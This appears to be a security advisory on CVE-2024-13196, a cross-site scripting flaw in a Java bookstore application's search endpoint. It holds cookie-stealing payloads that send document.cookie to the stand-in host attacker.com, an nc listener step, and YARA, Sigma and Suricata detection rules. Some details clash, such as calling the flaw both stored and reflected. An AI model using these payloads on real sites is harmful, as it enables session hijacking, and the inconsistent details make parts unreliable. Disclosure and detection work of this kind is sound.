CVE-2024-13196

Executive Summary

CVE-2024-13196 is a stored cross-site scripting (XSS) vulnerability in the Donglight bookstore电商书城系统说明 (bookstore e-commerce book city system) version 1.0.0. The flaw resides in the BookSearchList function within src/main/java/org/zdd/bookstore/web/controller/BookInfoController.java. An attacker can inject arbitrary JavaScript code via the keywords parameter, which is not properly sanitized before being reflected in the search results page. This allows remote exploitation without authentication, leading to session hijacking, credential theft, or defacement. The vulnerability has been publicly disclosed with a proof-of-concept, and no official patch is available.

Supply Chain & Package Security

This is a Java-based web application (likely built with Maven or Gradle). The vulnerability is in the application’s own controller code, not in a third-party package. However, the application may depend on vulnerable versions of Spring Framework or other libraries. No specific package manager (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a page.
• Scope (S): Changed (C) – Impact may extend beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Base Score: 6.1 (Medium)
Threat Level: Medium – Public exploit exists, no patch, but requires user interaction.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the BookSearchList endpoint. The keywords parameter is taken directly from the HTTP request and embedded into the HTML response without proper encoding or sanitization. An attacker can craft a URL like:

http://target/bookstore/book/search?keywords=<script>alert('XSS')</script>

When a victim visits this URL, the script executes in their browser context. The application uses Java Spring MVC, and the controller likely returns a view name that renders the keywords value in the search results page. The lack of output encoding (e.g., using th:utext instead of th:text in Thymeleaf, or out.println() instead of proper escaping) allows the injection.

Vulnerable vs. Patched Code

Vulnerable Code (BookInfoController.java):

@GetMapping("/book/search")
public String BookSearchList(Model model, @RequestParam("keywords") String keywords) {
    // ... business logic ...
    model.addAttribute("keywords", keywords); // Unsanitized
    return "searchResults";
}

Patched Code (Hypothetical):

import org.springframework.web.util.HtmlUtils;

@GetMapping("/book/search")
public String BookSearchList(Model model, @RequestParam("keywords") String keywords) {
    String sanitizedKeywords = HtmlUtils.htmlEscape(keywords);
    model.addAttribute("keywords", sanitizedKeywords);
    return "searchResults";
}

The patch uses HtmlUtils.htmlEscape() to encode HTML special characters (<, >, &, ", ') before rendering. Alternatively, the view template should use th:text (which auto-escapes) instead of th:utext.

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC):

<!-- Save as poc.html and host on attacker server -->
<html>
<body>
<script>
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>
</body>
</html>

Exploit URL:

http://target/bookstore/book/search?keywords=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

Lab Setup:

1. Deploy the vulnerable application (Donglight bookstore 1.0.0) on a local server (e.g., Tomcat 9).
2. Use a simple HTTP listener (e.g., nc -lvnp 80 or Python http.server) to capture cookies.
3. Send the exploit URL to a victim (simulated browser).
4. Observe the cookie exfiltration.

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious keywords parameter values containing <script>, onerror=, or javascript:.
2. Use a WAF rule to block requests with HTML tags in the keywords parameter.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Log Analysis Example:

grep -E 'keywords=.*<script' /var/log/tomcat/access_log

Indicators of Compromise (IOCs)

• Network: HTTP requests to /bookstore/book/search with keywords parameter containing <script> or onerror= patterns.
• Host: Log entries showing keywords parameter with encoded or raw JavaScript.
• File: Modified BookInfoController.java (if attacker has write access) or presence of malicious JSP files.
• Behavior: Unexpected outbound connections from the web server to unknown IPs (cookie exfiltration).

Detection Engineering

YARA Rule

rule CVE_2024_13196_XSS {
    meta:
        description = "Detects reflected XSS in Donglight bookstore keywords parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-13196"
    strings:
        $xss1 = "keywords=" nocase
        $xss2 = "<script" nocase
        $xss3 = "onerror=" nocase
        $xss4 = "javascript:" nocase
    condition:
        all of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2024-13196 Reflected XSS in Donglight Bookstore
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious keywords parameter targeting the bookstore search endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/bookstore/book/search'
        cs-uri-query|contains|all:
            - 'keywords='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate search queries containing '<script' in book titles (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13196 XSS Attempt - Donglight Bookstore"; flow:to_server,established; content:"/bookstore/book/search"; http_uri; content:"keywords="; http_uri; pcre:"/keywords=.*<script/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Apply input validation and output encoding. Sanitize the keywords parameter using a library like OWASP Java Encoder.
2. Short-term: Deploy a Web Application Firewall (WAF) rule to block XSS patterns in the keywords parameter.
3. Long-term: Upgrade to a patched version if released, or rewrite the controller to use safe rendering (e.g., th:text in Thymeleaf).
4. Compensating Controls: Implement Content Security Policy (CSP) with script-src 'self' to mitigate impact.
5. Monitoring: Enable detailed logging for all search requests and alert on anomalous patterns.

Valters IT
DevSecOps & Cyber Threat Intelligence